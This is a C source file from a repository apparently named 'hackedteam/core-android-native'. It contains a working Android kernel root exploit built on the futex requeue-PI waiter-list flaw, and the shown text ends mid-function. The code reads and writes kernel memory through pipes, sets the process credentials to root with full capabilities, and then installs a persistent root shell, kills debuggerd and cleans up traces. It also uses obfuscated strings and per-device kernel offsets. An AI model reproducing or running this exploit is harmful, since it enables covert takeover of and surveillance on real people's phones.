hackedteam/core-android-native

View on GitHub
selinux_native/jni/kernel_waiter_exploit/selinux4_exploit.c

Summary

Maintainability
Test Coverage
#include <android/log.h>
#include <unistd.h>
#include <linux/futex.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <limits.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdint.h>
#include <pwd.h>
#include <arpa/inet.h>
#include <sys/mman.h>

#include "log.h"
#include "shell_params.h"
#include "deobfuscate.h"
#include "utils.h"
#include "boot_manager.h"
#include "ps.h"
#include "waiter_exploit.h"
#include "shell_installer.h"

struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};

#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI   11
#endif

#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI   12
#endif

#define UNUSED                  0

#define ERROR         0
#define ROOT_SUCCESS  1
#define FIX_SUCCESS   2
#define ALL_DONE      3

#define KERNEL_START  0xc0000000

unsigned char ptmx[] = "\x83\x0c\x86\xb4\xff\xfe\x0d\xb4\xf3\x0f\xf6\x0b"; // "/dev/ptmx"
unsigned char system_str[] = "\xdf\x2e\xf6\x30\xf4\xfa\xf4\xf7\xc6\xce"; // "/system"
unsigned long addr, hacked_node, hacked_node_alt;
int PORT = 58222;

int HACKS_fdm = 0;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_mutex_t done_kill_lock;
pthread_mutex_t thread_returned_lock;
pthread_cond_t done;
pthread_cond_t done_kill;
pthread_cond_t thread_returned;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int lock1 = 0;
int lock2 = 0;
pid_t last_tid = 0, leaker_pid = 0, stack_modifier_tid = 0, pid6 = 0, pid7 = 0;
pthread_mutex_t *is_kernel_writing;
int pipe_fd[2];
int sockfd;
pid_t tid_12 = 0;
pid_t tid_11 = 0;
unsigned long first_kstack_base, final_kstack_base, leaker_kstack_base, target_waiter;
unsigned long t11;
unsigned long lock;
char shell_server[256];
int loop_limit = 10;
pid_t remove_pid[1024];
unsigned long remove_waiter[1024];
int remove_counter = 0;
char rcs[512];

struct device_config {
  int is_samsung;
  int iovstack;
  int offset;
  int force_remove;
};

struct device_config goldfish_kernel = { 0, 6, 0, 0};
struct device_config default_kernel = { 0, 2, 0, 0};
struct device_config samsung_kernel = { 1, 2, 0x1cd4, 1};
struct device_config samsung_old_kernel = { 0, 1, 0, 1 };
struct device_config sam_grand_kernel = { 0, 5, 0, 1 };
struct device_config test_kernel = { 0, 4, 0, 1 };
struct device_config *current_cfg = NULL;

const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
const char str_1[] = {1, 0, 0, 0, 0};

void reset_hacked_list(unsigned long hacked_node);

/*********************/
/*** PIPE STUFF ******/
/*********************/


// Pipe server
static int start_pipe_server() {
  int  nbytes,msg;
  int done_root = 0;

  /* Parent process closes up output side of pipe */
  close(pipe_fd[1]);
  LOGD("[CONTROLLER] Controller started with PID %d\n", getpid());

  while(1) {
    /* Read in a message from the exploiting process */
    nbytes = read(pipe_fd[0], &msg, sizeof(msg));
    if(nbytes <= 0) exit(0);
    if(msg == ROOT_SUCCESS) {
      LOGD("[CONTROLLER] Exploit succeded\n");
      done_root = 1;
    }
    if(msg == FIX_SUCCESS) {
      LOGD("[CONTROLLER] Fix succeded\n");     
    }
    if(msg == ALL_DONE) {
      LOGD("[CONTROLLER] Exploit completed\n");
      if(done_root)
    return 1;
    }
    if(msg == ERROR) {
      if(done_root) {
    LOGD("[CONTROLLER] Error but exploit succeded\n");
    return 1;
      }
      else {
    LOGD("[CONTROLLER] Error received\n");
    return 0;
      }
    }
  }
}

// Send a message to the controller
static void send_pipe_msg(int msg) {
  int msg_to_send;

  msg_to_send = msg;
  write(pipe_fd[1], &msg, sizeof(msg)); 
}

// Read kernel space using pipe
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
  int pipefd[2];
  ssize_t len;

  pipe(pipefd);

  len = write(pipefd[1], writebuf, count);

  if (len != count) {
    LOGD("[PIPE] FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
    return -1;
  }

  read(pipefd[0], readbuf, count);
  LOGD("[PIPE] Read %d bytes\n", count);

  close(pipefd[0]);
  close(pipefd[1]);

  return len;
}

// Write in kernel space using pipe
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
  int pipefd[2];
  ssize_t len;
  int ret = 0;

  pipe(pipefd);
  ret = write(pipefd[1], writebuf, count);
  len = read(pipefd[0], readbuf, count);
  if (len != count) {
    LOGD("[PIPE] FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
    return -1;
  }
  else
    LOGD("[PIPE] Written %d bytes\n", (int)len);

  close(pipefd[0]);
  close(pipefd[1]);

  return len;
}



/*********************/
/**** SOCKET STUFF ***/
/*********************/

void *accept_socket(void *arg) {
  int yes;
  struct sockaddr_in addr = {0};
  int ret;
  int sock_buf_size;
  socklen_t optlen;

  sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  if(sockfd < 0) {
    LOGD("[ACCEPT SOCKET] Socket creation failed\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }

  yes = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
  
  // We need set the socket kernel buffer as smaller as possible.
  // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall

  sock_buf_size = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

  addr.sin_family = AF_INET;
  addr.sin_port = htons(PORT);
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

  if(bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
    LOGD("[ACCEPT SOCKET] Socket bind failed\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }
 
  if(listen(sockfd, 1) < 0) {
    LOGD("[ACCEPT SOCKET] Socket listen failed\n");
    send_pipe_msg(ERROR);
    exit(-1);
  }
 
  while(1) {
    ret = accept(sockfd, NULL, NULL);
    if (ret < 0) {
      LOGD("[ACCEPT SOCKET] Socket accepr failed\n");
      send_pipe_msg(ERROR);
      exit(-1);
    } else {
      LOGD("[ACCEPT SOCKET] Client accepted!\n");
    }
  }
 
  return NULL;
}


int make_socket() {
  int sockfd;
  struct sockaddr_in addr = {0};
  int ret;
  int sock_buf_size;
  socklen_t optlen;

  sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  if (sockfd < 0) {
    LOGD("[MAKE SOCKET] socket failed.\n");
    send_pipe_msg(ERROR);
    exit(-1);
  } else {
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  }
 
  while (1) {
    ret = connect(sockfd, (struct sockaddr *)&addr, 16);
    if (ret >= 0) {
      break;
    }
    usleep(10);
  }

  // We need set the socket kernel buffer as smaller as possible
  // When we will use the sendmmsg syscall, we need to fill it to remain attached to the syscall

  sock_buf_size = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

  return sockfd;
}


/*************************/
/**** KERNEL STUFF *******/
/*************************/  
void stop_for_error() {
  LOGD("[ERROR] Sleeping for error");
  send_pipe_msg(ERROR);
  while(1)
    sleep(10);
}

// Remove a pending waiter
void remove_remaining_waiter(int index) {
  unsigned long addr;
  unsigned long val[4];


  LOGD("[REMOVER] Killing tid %d waiter %x\n", remove_pid[index], (unsigned int) remove_waiter[index]);

  addr = (unsigned long)mmap((unsigned long *)0xbef000, 0x2000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

  reset_hacked_list(0xbeffe0);

  // Create a correct next and previous waiter
  
  *((unsigned long *)0xbf0004) = remove_waiter[index];      // (entry->next)->prev
  *((unsigned long *)0xbeffe0) = remove_waiter[index];      // (entry->prev)->next
  *((unsigned long *)0xbf000c) = (remove_waiter[index]+8);  // (entry->node_next)->node_prev
  *((unsigned long *)0xbeffe8) = (remove_waiter[index]+8);  // (entry->node_prev)->node_next

  val[0] = 0xbf0000;
  val[1] = 0xbeffe0;
  val[2] = 0xbf0008;
  val[3] = 0xbeffe8;
  write_pipe((void *)(remove_waiter[index]), &val, 16);
  
  // Now we can kill the waiter safely

  pthread_mutex_lock(&is_thread_awake_lock);
  kill(remove_pid[index], 14);
  pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  pthread_mutex_unlock(&is_thread_awake_lock);

  munmap((unsigned long *)0xbef000, 0x2000);

}

// Fix the kernel waiter list
int fix_kernel_waiter_list(unsigned int head) {
  
  unsigned int val, val2, val3, list, prio6, prio3;
  int i, err = 0, ret = 0;
  unsigned long w[4];
  unsigned int as[12];

  LOGD("[FIXER] prio 6 at %x\n", head);

  list = head + 4;

  // Save the prio6 waiter
  read_pipe((void *) list, &prio6, 4);

  // Save the prio3 waiter
  read_pipe((void *) (list+4), &prio3, 4);

  // Fix prio3
  ret = write_pipe((void *) (prio3+4), &t11, 4);    // prio_list->prev   
  if(ret == -1)
  err = 1;

  #ifdef DEBUG
  ////////////////  Just debug  //////////////////////////////
  read_pipe((void *) (list-4), &as, 48); 
  LOGD("[FIXER] First: %x %x %x %x %x %x %x %x %x %x %x %x\n", 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
  //////////////////////////////////////////////
  #endif


  // Find the first waiter before the hacked waiter. We need to fix it
  for(i = 0; i < 2; i++) {
    read_pipe((void *) list, &val, 4);
    list = val;
    if(i == 0) {
      // At the beginning we need to save the lock pointer
      read_pipe((void *) (list + 40), &lock, 4); 

      #ifdef DEBUG
      ////////////////  Just debug  //////////////////////////////
      read_pipe((void *) (list-4), &as, 48); 
      LOGD("[FIXER] Second: %x %x %x %x %x %x %x %x %x %x %x %x\n", 
         as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);
      //////////////////////////////////////////////
      #endif

    }
  }


  // Adjust the lock->next pointer
  LOGD("[FIXER] Looking for the lock next offset address\n");
  if(lock) {
    for(i = 0; i < 5; i++) {
      read_pipe((void *) (lock + (i * 4)), &val3, 4);
      if(val3 == (prio3 + 8)) {
    LOGD("[FIXER] Lock next offset fount at %d\n", (i * 4));
    lock = lock + (i * 4);
      }
    }    
  }

  // Fix the lock->prev. Now points to the hacked node. Change it to the prio 12 waiter
  val2 = t11 + 8;
  ret = write_pipe((void *) (lock + 4), &val2, 4); // lock->prev      
  if(ret == -1)
    err = 1;

  // Fix prio 7 waiter. It points to the hacked node. Update it pointing to the prio 11 waiter
  val2 = t11+8;
  ret = write_pipe((void *) (list), &t11, 4);       // prio_list->next
  if(ret == -1)
    err = 1;

  ret = write_pipe((void *) (list + 8), &val2, 4);  // node_list->next
  if(ret == -1)
    err = 1;


  // Fix prio 11. Points to the hacked node, fix it to point to the prio 7 waiter    
  w[0] = prio3;     // prio_list->next
  w[1] = list;      // prio_list->prev
  w[2] = lock;      // node_list->next
  w[3] = list + 8;  // node_list->prev

  ret = write_pipe((void *) t11, &w, 16);
  if(ret == -1)
    err = 1;

  LOGD("[FIXER] Lock->next found at %x\n", (unsigned int) lock);
  LOGD("[FIXER] All done!\n");

  #ifdef DEBUG
  ///////////////////////////// DEBUG ////////////////////////////7
  read_pipe((void *) (prio3-4), &as, 48); 
  LOGD("[FIXER] prio3 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio3-4), 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);

  read_pipe((void *) (head), &as, 48); 
  LOGD("[FIXER] prio4 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(head), 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);

  read_pipe((void *) (prio6-4), &as, 48); 
  LOGD("[FIXER] prio6 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(prio6-4), 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);

  read_pipe((void *) (list - 4), &as, 48); 
  LOGD("[FIXER] prio7 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(list-4), 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);

  read_pipe((void *) (t11-4), &as, 48); 
  LOGD("[FIXER] prio11 %x: %x %x %x %x %x %x %x %x %x %x %x %x\n", (unsigned int)(t11-4), 
     as[0], as[1], as[2], as[3], as[4], as[5], as[6], as[7], as[8], as[9], as[10], as[11]);

  read_pipe((void *) (lock), &as, 16); 
  LOGD("LOCK: %x %x %x %x\n", as[0], as[1], as[2], as[3]);
  //////////////////////////////////////////////
  #endif

  sleep(1);

  return err;

}



// Hack in the kernel
void hack_the_kernel(int signum) {
  char *slavename;
  int pipefd[2];
  char readbuf[0x100];
  unsigned long thread_info_dump[4];
  unsigned long task_struct_dump[0x200];
  unsigned long cred_struct_dump[0x40];
  unsigned long cred_struct_dump_orig[0x40];
  unsigned long group_info_struct_dump[6];
  unsigned long group_info_struct_dump_orig[6];
  pid_t pid;
  int i, ret;
  unsigned long val1, val2;
  int err = 0;

  leaker_pid = gettid();

  pthread_mutex_lock(&is_thread_awake_lock);
  pthread_cond_signal(&is_thread_awake);
  pthread_mutex_unlock(&is_thread_awake_lock);

  // Check if we are the first or the second evil thread
  if (final_kstack_base == 0) {
    LOGD("[FIRST KERNEL HACK] First evil thread started\n");

    pthread_mutex_lock(is_kernel_writing);
    // We need to use a pipe... Open a pts device to use it

    HACKS_fdm = open(deobfuscate(ptmx), O_RDWR);
    unlockpt(HACKS_fdm);
    slavename = ptsname(HACKS_fdm);

    open(slavename, O_RDWR);
    LOGD("[FIRST KERNEL HACK] First evil thread going to wait\n");
    
    if(current_cfg->is_samsung) {
      pipe(pipefd);
      syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);

    }
    else {
      read(HACKS_fdm, readbuf, 0x100);
    }

    // Here the TRIGGER told us to continue the dirty job
    // Update the thread_info struct of the second evil thread using the pipe.
    
    write_pipe((void *)(final_kstack_base + 8), (void *)str_ffffffff, 4);

    LOGD("[FIRST KERNEL HACK] All Done!\n");

    // Tell the second thread that now can continue
    pthread_mutex_unlock(is_kernel_writing);

    // Add a waiter at the beginning of the list so we can leak it
    LOGD("[LEAKER] Adding waiter with prio 3 as leaker\n");
    setpriority(PRIO_PROCESS, 0, 4);
    LOGD("[LEAKER] PID %d TID %d\n", getpid(), gettid());

    syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

    // If we are here the stack modifier has been killed

    LOGD("[LEAKER] Leaker unlocked and exiting %d\n", gettid());

    // Tell to the second evil thread that it can fix the waiter list now
    pthread_mutex_lock(&done_kill_lock);
    pthread_cond_signal(&done_kill);
    pthread_mutex_unlock(&done_kill_lock);
    
    sleep(5);
    return;

  }

  //////////////////////////////////////////
  // From here we are the second evil thread
  LOGD("[SECOND KERNEL HACK] Waiting to be powered!\n");
  pthread_mutex_lock(is_kernel_writing);

  sleep(2);

  LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
  read_pipe((void *)final_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
  read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump

  LOGD("[SECOND KERNEL HACK] task_struct at %x\n", (unsigned int) thread_info_dump[3]);
 
  val1 = 0;
  val2 = 0;
  pid = 0;
 
  LOGD("[SECOND KERNEL HACK] Parsing thread_info for cred...\n");
  // Parse the task_struct dump in order to find the cred struct pointer
  // If we have four succesive kernel pointer -> we have the cred struct
  for (i = 0; i < 0x200; i++) {
    if (task_struct_dump[i] == task_struct_dump[i + 1]) {
      if (task_struct_dump[i] > 0xc0000000) {
    if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
      if (task_struct_dump[i + 2] > 0xc0000000) {
        if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
          if (task_struct_dump[i + 4] > 0xc0000000) {
        if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
          if (task_struct_dump[i + 6] > 0xc0000000) {
            val1 = task_struct_dump[i + 7]; // Found offset for the cred struct
            LOGD("[SECOND KERNEL HACK] %x %d: cred struct pointer FOUND!\n", (unsigned int) val1, (i+7));
            break;
          }
        }
          }
        }
      }
    }
      }
    }
  }

  if(!val1) {
    LOGD("[SECOND KERNEL HACK] cred pointer NOT FOUND. Aborting...\n");
    stop_for_error();
  }

  LOGD("[SECOND KERNEL HACK] reading cred struct for group_info\n");
  // Update the cred struct
  read_pipe((void *)val1, cred_struct_dump, 0x100);
  memcpy((void *)cred_struct_dump_orig, (void *)cred_struct_dump, 0x100); // Save the original struct

  val2 = cred_struct_dump[0x16]; // group_info struct
  if (val2 > 0xc0000000) {
    if (val2 < 0xffff0000) {
      read_pipe((void *)val2, group_info_struct_dump, 0x18); // group_info struct dump
      memcpy((void *)group_info_struct_dump_orig, (void *)group_info_struct_dump, 0x18);
      if (group_info_struct_dump[0] != 0) {
    if (group_info_struct_dump[1] != 0) {
      if (group_info_struct_dump[2] == 0) {
        if (group_info_struct_dump[3] == 0) {
          if (group_info_struct_dump[4] == 0) {
        if (group_info_struct_dump[5] == 0) {
          group_info_struct_dump[0] = 1; // atomic_t usage
          group_info_struct_dump[1] = 1; // int ngroups
 
          // Update the group_info struct in the kernel
          LOGD("[SECOND KERNEL HACK] Updating group_info struct...\n");
          write_pipe((void *)val2, group_info_struct_dump, 0x18);
        }
          }
        }
      }
    }
      }
    }
  }
 
  // Update the cred struct 
  cred_struct_dump[1] = 0;             // uid
  cred_struct_dump[2] = 0;             // gid
  cred_struct_dump[3] = 0;             // suid
  cred_struct_dump[4] = 0;             // sgid
  cred_struct_dump[5] = 0;             // euid
  cred_struct_dump[6] = 0;             // egid
  cred_struct_dump[7] = 0;             // fsuid
  cred_struct_dump[8] = 0;             // fsgid
 
  cred_struct_dump[10] = 0xffffffff;   // cap_inheritable
  cred_struct_dump[11] = 0xffffffff;   // cap_permitted
  cred_struct_dump[12] = 0xffffffff;   // cap_effective
  cred_struct_dump[13] = 0xffffffff;   // cap_bset
  cred_struct_dump[14] = 0xffffffff;   // jit_keyring
  cred_struct_dump[15] = 0xffffffff;   // *session_keyring
  cred_struct_dump[16] = 0xffffffff;   // *process_keyring
  cred_struct_dump[17] = 0xffffffff;   // *thread_keyring;
 

  LOGD("[SECOND KERNEL HACK] Updating cred struct in the kernel...\n");

  // Update the cred struct in the kernel
  write_pipe((void *)val1, cred_struct_dump, 0x48);
  
  sleep(2);
  
  pid = syscall(__NR_gettid);
 
  // Update the pid
  LOGD("[SECOND KERNEL HACK] Looking for PID..\n");
  i = 0;
  while (1) {
    if (task_struct_dump[i] == pid) {
      LOGD("[SECOND KERNEL HACK] PID found. Update and hack....\n");

      write_pipe((void *)(thread_info_dump[3] + (i << 2)), (void *)str_1, 4);
 
      if (getuid() != 0) {
        LOGD("[SECOND KERNEL HACK] Something wrong. Root failed. Aborting...\n");
    send_pipe_msg(ERROR);
      } else {
    LOGD("[SECOND KERNEL HACK] Root process succeded!!!\n");

    //////////// ROOT CODE HERE /////////////////

    // Fork and install the root shell
    if(fork() == 0) {
/// REMOTE and LIB: extract all and install the shell
#ifndef LOCAL     
      if(rcs[0])
        extract_shell_files(rcs);
      else
        extract_shell_files(NULL);
      install_shell(NULL);
/// LOCAL: just install the shell
#else
      install_shell(shell_server);
#endif      
      kill_debuggerd();
      sleep(3);
#ifndef LOCAL
      cleanup();
#endif      
      exit(0);
    }

    //////////////////////////////////////////////
    sleep(3);
    close(sockfd);
    send_pipe_msg(ROOT_SUCCESS);
    break;
      }
    }
    i++;
  }

  // Fix cred_struct and group_info_struct with originals
  //sleep(3); // be sure nothing is happening before to fix
  LOGD("[SECOND KERNEL HACK] Fixing cred struct\n");
  write_pipe((void *)val1, cred_struct_dump_orig, 0x48); 
  sleep(2);
  LOGD("[SECOND KERNEL HACK] Fixing group info\n");
  write_pipe((void *)val2, group_info_struct_dump_orig, 0x18);
  sleep(2);

  // To fix the waiter list we need to know where is the beginning of the list (we hacked it).
  // To do that we use the leaker thread that has a waiter with prio 3

  LOGD("[SECOND KERNEL HACK] I have %x as thread_info leaker!!!\n", (unsigned int) leaker_kstack_base);
  LOGD("[SECOND KERNEL HACK] Dumping thread_info...\n");
  read_pipe((void *)leaker_kstack_base, thread_info_dump, 0x10); // Read the thread_info struct...
  read_pipe((void *)(thread_info_dump[3]), task_struct_dump, 0x800); // end get the task_struct dump

  LOGD("[SECOND KERNEL HACK] leaker task_struct at %x\n", (unsigned int) thread_info_dump[3]);
 
  int k = 0;
  val1 = 0;
  val2 = 0;
  pid = 0;
  
  // Find the waiter in the task struct. We know is a bit after the cred_struct

  LOGD("[SECOND KERNEL HACK] Parsing leaker thread_info for cred...\n");
  // Parse the task_struct dump in order to find the cred struct pointer
  // If we have four succesive kernel pointer -> we have the cred struct
  for (i = 0; i < 0x200; i++) {
    if (task_struct_dump[i] == task_struct_dump[i + 1]) {
      if (task_struct_dump[i] > 0xc0000000) {
    if (task_struct_dump[i + 2] == task_struct_dump[i + 3]) {
      if (task_struct_dump[i + 2] > 0xc0000000) {
        if (task_struct_dump[i + 4] == task_struct_dump[i + 5]) {
          if (task_struct_dump[i + 4] > 0xc0000000) {
        if (task_struct_dump[i + 6] == task_struct_dump[i + 7]) {
          if (task_struct_dump[i + 6] > 0xc0000000) {
            LOGD("[SECOND KERNEL HACK] We are at cred\n");
            // We need to find the waiter in the task_struct
            for(k = 0; k<100; k++) {
              if(task_struct_dump[k + i] > 0xc0000000 && task_struct_dump[k + i] != 0xffffffff) {
            read_pipe((void *) task_struct_dump[k + i], &val1, 4);
            // Check a pointer pointing to 0x7b (123 = prio 3)
            //if(val1 == 0x7b) {
            if(val1 == 0x7c) {
              target_waiter = (unsigned int) task_struct_dump[k + i];
              LOGD("Found target_waiter %x\n", (unsigned int) target_waiter);
              sleep(2);
              break;
            }
              }             
            }
            break; 
          }
        }
          }
        }
      }
    }
      }
    }
  }  

  if(!target_waiter)
    stop_for_error();

  // Get the next node, so the prio 6 node
  LOGD("[SECOND KERNEL HACK] Waiting the thread\n");

  pthread_mutex_lock(&done_kill_lock);

  // Ok now we need to remove
  int h;
  for(h = 0; h < remove_counter; h++)
    remove_remaining_waiter(h);

  if(fix_kernel_waiter_list(target_waiter) == 0)
    send_pipe_msg(FIX_SUCCESS);
  else
    stop_for_error();

  
  LOGD("[SECOND KERNEL HACK] Waiter list fixed\n");

  // Kill the stack modifier
  kill(stack_modifier_tid,14);
   
  // Wait for the prio 4 node going out
  pthread_cond_wait(&done_kill, &done_kill_lock);
  
  LOGD("[SECOND KERNEL HACK] Prio 4 exiting, going to fix the waiter list\n");

  // We fixed everything, so we can leave now
  pthread_exit(NULL);

}


/***************************/
/**** THREAD FOR WAITERS ***/
/***************************/

void thread_killer(int signum) {

  LOGD("[KILLER] Thread with pid %d and tid %d is going to exit\n", getpid(), gettid());

  pthread_mutex_lock(&is_thread_awake_lock);
  pthread_cond_signal(&is_thread_awake);
  pthread_mutex_unlock(&is_thread_awake_lock);

  pthread_exit(NULL);

}


// Add a new waiter in the list with a specific prio.
void *make_action_adding_waiter(void *arg) {
  int prio;
  struct sigaction act;
  struct sigaction act3;
  int ret;
 
  prio = (int)arg;
  last_tid = syscall(__NR_gettid);
 
  pthread_mutex_lock(&is_thread_desched_lock);
  pthread_cond_signal(&is_thread_desched);
 
  // Handler to hack in the kernel.
  act.sa_handler = hack_the_kernel;
  act.sa_mask = 0;
  act.sa_flags = 0;
  act.sa_restorer = NULL;
  sigaction(12, &act, NULL);

  // Handler to kill useless threads.
  act3.sa_handler = thread_killer;
  act3.sa_mask = 0;
  act3.sa_flags = 0;
  act3.sa_restorer = NULL;
  sigaction(14, &act3, NULL);
 
  setpriority(PRIO_PROCESS, 0, prio);
 
  pthread_mutex_unlock(&is_thread_desched_lock);

  LOGD("[MAKE ACTION] Adding lock with prio %d and tid %d\n", prio, gettid());
  ret = syscall(__NR_futex, &lock2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  LOGD("[MAKE ACTION] Lock with prio %d and tid %d returned\n", prio, gettid());

  // The firs node that will exit. Kill some other thread
  if(prio == 11) {
    LOGD("[MAKE ACTION] Killing prio 11\n");

    pthread_mutex_lock(&is_thread_awake_lock);
    kill(tid_11, 14);
    pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
    pthread_mutex_unlock(&is_thread_awake_lock);

    LOGD("[MAKE ACTION] Killing prio 7\n");

    pthread_mutex_lock(&is_thread_awake_lock);
    kill(pid7, 14);
    pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
    pthread_mutex_unlock(&is_thread_awake_lock);    

    LOGD("[MAKE ACTION] All done!\n");
    sleep(1);

    pthread_exit(NULL); 

  }

  // Last node will exit
  if(prio == 6) {
    LOGD("[MAKE ACTION] Prio 6 node is exiting\n");

    // Notify the main that we finished
    pthread_mutex_lock(&done_lock);
    pthread_cond_signal(&done);
    pthread_mutex_unlock(&done_lock);

    pthread_exit(NULL);
  }
 
  // Never reached
  return NULL;
}
 


// Create a new thread to add a new waiter with a prio
pid_t wake_actionthread(int prio) {
  pthread_t th4;
  pid_t pid;
 
  LOGD("[WAKE_ACTIONTHREAD] Starting actionthread\n");

  // Create the thread that will add a new lock.
  
  pthread_mutex_lock(&is_thread_desched_lock);
  pthread_create(&th4, 0, make_action_adding_waiter, (void *)prio);
  pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
 
  LOGD("[WAKE_ACTIONTHREAD] Continuing actionthread\n");

  pid = last_tid;

  // Needed to be sure that the new thread is waiting to acquire the lock
  sleep(1);

  pthread_mutex_unlock(&is_thread_desched_lock);
 
  // Return the new thread created
  return pid;
}



// This is the first evil thread.
// When the vuln is triggered will use a syscall to modify the kernel stack.
void *stack_modifier(void *name)
{

  pthread_t l8;
  int sockfd, ret;
  struct mmsghdr msgvec[1];
  struct iovec msg_iov[8];
  unsigned long databuf[0x20];
  int i;
  char line[20];
  struct sigaction act3;

  stack_modifier_tid = gettid();

  LOGD("[STACK MODIFIER] Modifier started with tid %d\n", gettid());

  setpriority(PRIO_PROCESS , 0, 12);

  // Register an handle for a signal. We will use it to kill this thread later.
  act3.sa_handler = thread_killer;
  act3.sa_mask = 0;
  act3.sa_flags = 0;
  act3.sa_restorer = NULL;
  sigaction(14, &act3, NULL);


  for (i = 0; i < 0x20; i++) {
    databuf[i] = hacked_node;
  }

  for (i = 0; i <= 8; i++) {
    msg_iov[i].iov_base = (void *)hacked_node;
    msg_iov[i].iov_len = 0x80;
  }
 
  //msg_iov[IOVSTACK_TARGET] will be our new waiter.
  // iov_len must be large enough to fill the socket kernel buffer to avoid the sendmmsg to return.

  msg_iov[current_cfg->iovstack].iov_base = (void *)hacked_node;
  msg_iov[current_cfg->iovstack].iov_len = hacked_node_alt;

  // The new waiter will be something like that:
  // prio = hacket_node
  // prio_list->next = hacked_node_alt
  // prio_list->prev = hacket_node
  // node_list->next = 0x7d
  // node_list->prev = hacked_node

  // hacked_node will be somethin < 0 so a negative priority

  msgvec[0].msg_hdr.msg_name = databuf;
  msgvec[0].msg_hdr.msg_namelen = 0x80;
  msgvec[0].msg_hdr.msg_iov = msg_iov;
  msgvec[0].msg_hdr.msg_iovlen = 8;
  msgvec[0].msg_hdr.msg_control = databuf;
  msgvec[0].msg_hdr.msg_controllen = 0x20;
  msgvec[0].msg_hdr.msg_flags = 0;
  msgvec[0].msg_len = 0;

  sockfd = make_socket();

  LOGD("[STACK MODIFIER] Going in WAIT_REQUEUE\n");

  // Lets wait on lock1 to be requeued
  syscall(__NR_futex, &lock1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &lock2, 0);

  // Ok, at this point the vulnerability shoud be triggered.
  // We can modify the waiters list in the kernel.

  LOGD("[STACK MODIFIER] Exiting from WAIT_REQUEUE\n");
  LOGD("[STACK MODIFIER] I'm going to modify the kernel stack\n");

  // Use now a syscall deep to modify the waiter list.
  // sendmmsg -> sendmesg -> verify_iovec
  // verify_iovec will fille the iovstack structure of sendmesg and we know that
  // iovstack[IOVSTACK_TARGET] is at the same address of the waiter we can manipulate

  while (1) {
    ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
    if (ret <= 0) {
      LOGD("[STACK MODIFIER] Sendmmsg Error\n");
      send_pipe_msg(ERROR);
      exit(-1);
    }
    LOGD("[STACK MODIFIER] Done\n");
    break;
  }
  LOGD("[STACK MODIFIER] Leaving\n");
  
}


void create_hacked_list(unsigned long hacked_node, unsigned long hacked_node_alt) {

  *((unsigned long *)(hacked_node_alt - 4)) = 0x81;                   // prio (120 + 9)
  *((unsigned long *) hacked_node_alt) = hacked_node_alt + 0x20;      // prio_list->next
  *((unsigned long *)(hacked_node_alt + 8)) = hacked_node_alt + 0x28; // node_list->next

  *((unsigned long *)(hacked_node_alt + 0x1c)) = 0x85;                // prio (120 + 13)
